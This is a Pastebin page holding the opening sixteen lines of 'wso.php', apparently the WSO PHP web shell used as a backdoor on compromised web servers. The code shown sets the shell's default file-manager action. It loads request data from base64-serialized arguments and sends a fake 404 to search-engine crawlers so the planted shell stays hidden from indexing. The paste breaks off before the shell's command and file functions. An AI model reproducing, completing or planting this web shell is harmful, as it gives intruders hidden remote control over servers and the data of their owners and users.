PalmaSolutions

wso.php

Apr 16th, 2018
259
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.51 KB | None | 0 0
  1. <?php
  2. $color = "#df5";
  3. $default_action = 'FilesMan';
  4. $default_use_ajax = true;
  5. $default_charset = 'Windows-1251';
  6.  
  7. if($argc == 3) {
  8. $_POST = unserialize(base64_decode($argv[1]));
  9. $_SERVER = unserialize(base64_decode($argv[2]));
  10. }
  11.  
  12. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  13. $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  14. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  15. header('HTTP/1.0 404 Not Found');
  16. exit;
Advertisement
Add Comment
Please, Sign In to add comment